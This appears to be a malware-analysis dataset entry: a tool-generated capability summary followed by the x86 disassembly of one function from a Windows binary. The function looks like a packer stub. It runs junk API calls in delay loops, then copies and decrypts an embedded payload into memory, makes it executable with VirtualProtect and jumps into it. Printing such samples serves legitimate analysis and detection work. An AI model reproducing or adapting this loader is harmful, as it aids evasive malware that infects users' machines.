Function at 0x4011bf
Capabilities:
Get disk information
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x994
mov eax, dword [0x40c420]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, 0x40d2e0
push esi
call edi
xor ebx, ebx
cmp eax, 0x28324
jne 0x401288
push esi
call edi
cmp eax, 0x1c279
jne 0x401288
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401203
sub eax, edx
cmp eax, 0xc5bdc
jne 0x401288
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LoadModule]
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoUnmarshalHresult]
push ebx
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push str.Gavuwalatobiya_ni
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea ecx, [ebp - 0x814]
mov dword [ebp - 0x814], ebx
mov dword [ebp - 0x810], ebx
mov dword [ebp - 0x80c], ebx
call fcn.00401628
push 0x7cf5230c
push 0x13b5a9e4
call fcn.00401b15
push ebx
push str.sdjfosdgbosg
push ebx
call fcn.00401af5
add esp, 0x14
lea ecx, [ebp - 0x814]
call fcn.00401644
xor esi, esi
cmp esi, 0x2f9
jge 0x4012a1
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GrayStringW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
cmp esi, 0x197
jge 0x4012bf
push str.caveridenirirematodo_zu_huyusekifohefumikujejogabanodu_caruxecogawizihoyicuvapecojecogi_woligapopohopasi
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_AppendMenuW]
lea eax, [ebp - 0x80c]
push eax
call dword [sym.imp.USER32.dll_GetCaretPos]
cmp esi, 0x186
jge 0x4012ee
call dword [sym.imp.ole32.dll_CoGetCurrentProcess]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
push ebx
push str.lekuyadewawacuzoguzujerefipiyo
push ebx
call dword [sym.imp.USER32.dll_SetPropW]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileType]
cmp esi, 0x6dc
jle 0x401321
cmp dword [ebp - 0x960], 0x226f941
je 0x401321
cmp dword [ebp - 0x80c], 0x5d3667a9
je 0x401321
cmp dword [ebp - 0x974], 0x64e861b5
jne 0x401330
inc esi
cmp esi, 0xe3df7
jl 0x40128a
jmp 0x401353
call dword [sym.imp.USER32.dll_GetInputState]
push ebx
lea eax, [ebp - 0x95c]
push eax
push ebx
call dword [sym.imp.GDI32.dll_GetLogColorSpaceA]
push ebx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
push ebx
call dword [sym.imp.GDI32.dll_StartPage]
xor esi, esi
cmp esi, 0x13c
jge 0x401384
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ole32.dll_OleMetafilePictFromIconAndLabel]
lea eax, [ebp - 0x80c]
push eax
push ebx
push str.Ji_rosivizugezajiba_vacefujavenewi
push ebx
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetDCEx]
cmp esi, 0xd464
jne 0x401396
mov eax, dword [0x40c410]
mov dword [0x40f39c], eax
cmp esi, 0x145
jge 0x4013a5
push ebx
call dword [sym.imp.KERNEL32.dll_FindVolumeMountPointClose]
inc esi
cmp esi, 0x13071
jl 0x401355
xor esi, esi
cmp esi, 0x3f
jge 0x4013d5
push ebx
call dword [sym.imp.USER32.dll_ReplyMessage]
push ebx
lea eax, [ebp - 0x404]
push eax
push ebx
push str.xawirexu
push str.vocacoxuvihumodu_sikeki
call dword [sym.imp.WINSPOOL.DRV_DeviceCapabilitiesA]
cmp esi, 0x10f4a
jne 0x4013e7
add dword [0x40f39c], 0xbeca0
cmp esi, 0x271
jge 0x401401
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_SetClassLongW]
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GdiComment]
inc esi
cmp esi, 0x1793e
jl 0x4013b0
xor esi, esi
cmp esi, 0x26ed
jge 0x401425
push ebx
call dword [sym.imp.KERNEL32.dll_SetEvent]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_DrawAnimatedRects]
cmp esi, 0x48fc5d
jne 0x40143f
push dword [0x40f39c]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x40f398], eax
inc esi
cmp esi, 0x947192
jl 0x40140c
mov eax, dword [0x40c404]
xor esi, esi
mov dword [0x570ad4], eax
cmp dword [0x40f39c], ebx
jbe 0x4014bb
cmp esi, 0xad6
jge 0x40148e
lea eax, [ebp - 0x814]
push eax
call dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
push ebx
call dword [sym.imp.KERNEL32.dll_GetTapeStatus]
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push ebx
call dword [sym.imp.USER32.dll_CloseWindow]
push ebx
push ebx
call dword [sym.imp.USER32.dll_SetWindowsHookA]
mov eax, dword [0x570ad4]
mov al, byte [eax + esi + 0xbeca0]
mov ecx, dword [0x40f398]
mov byte [ecx + esi], al
cmp esi, 0x622
jge 0x4014b2
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
inc esi
cmp esi, dword [0x40f39c]
jb 0x40145c
mov dword [ebp - 0x960], 0xbb
sub dword [ebp - 0x960], 0x7b
xor esi, esi
cmp esi, 0x22ae
jge 0x4014ed
push ebx
push ebx
call dword [sym.imp.GDI32.dll_SetDeviceGammaRamp]
push ebx
lea eax, [ebp - 0x804]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextW]
cmp esi, 0x260d26
jne 0x401514
lea eax, [ebp - 0x808]
push eax
push dword [ebp - 0x960]
push dword [0x40f39c]
push dword [0x40f398]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp esi, 0x893
jge 0x40153e
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetTapePosition]
push str.xuxuvavupavuxebi_fadawuxenapajilopo_sisosizubolutocatugediverevu_xuyogujohehekigolivayucagu_sipocekapizelidodehowi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push str.nowoto_heyibahibewule_kave_fimafegalepadereha
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
inc esi
cmp esi, 0x276b9f
jl 0x4014ce
push section..data
push dword [0x40f39c]
push dword [0x40f398]
call fcn.00401131
xor esi, esi
cmp esi, 0x18c1
jge 0x40156d
call dword [sym.imp.ole32.dll_CoUninitialize]
cmp esi, 0x3458be
jne 0x401586
nop
add dword [0x40f39c], 0x6328d06a
call dword [0x40f398]
inc esi
cmp esi, 0x72791a
jl 0x40155f
mov ecx, dword fs:[0x2c]
mov eax, dword [0x5757a4]
mov eax, dword [ecx + eax*4]
push str.siwafixa_tokinuvofosevosoliyefonadoxucudu_mubemi
push ebx
mov dword [eax + 4], 1
call dword [sym.imp.USER32.dll_LoadCursorW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.004019e1
leave
ret 0x10